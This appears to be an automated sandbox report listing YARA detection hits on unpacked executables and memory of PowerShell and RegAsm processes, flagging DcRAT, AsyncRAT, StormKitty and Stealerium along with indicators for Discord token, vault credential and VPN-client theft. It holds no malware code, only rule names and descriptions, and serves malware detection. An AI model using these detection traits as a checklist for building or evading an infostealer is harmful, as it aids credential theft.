Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 13.2.powershell.exe.57b8cf4.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 13.2.powershell.exe.58251b8.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 14.2.powershell.exe.5959a9c.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 14.2.powershell.exe.5955534.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 17.2.powershell.exe.4cc04d8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 13.2.powershell.exe.5829720.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 17.2.powershell.exe.4cbbf70.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 15.2.powershell.exe.52af274.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 15.2.powershell.exe.52aace4.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

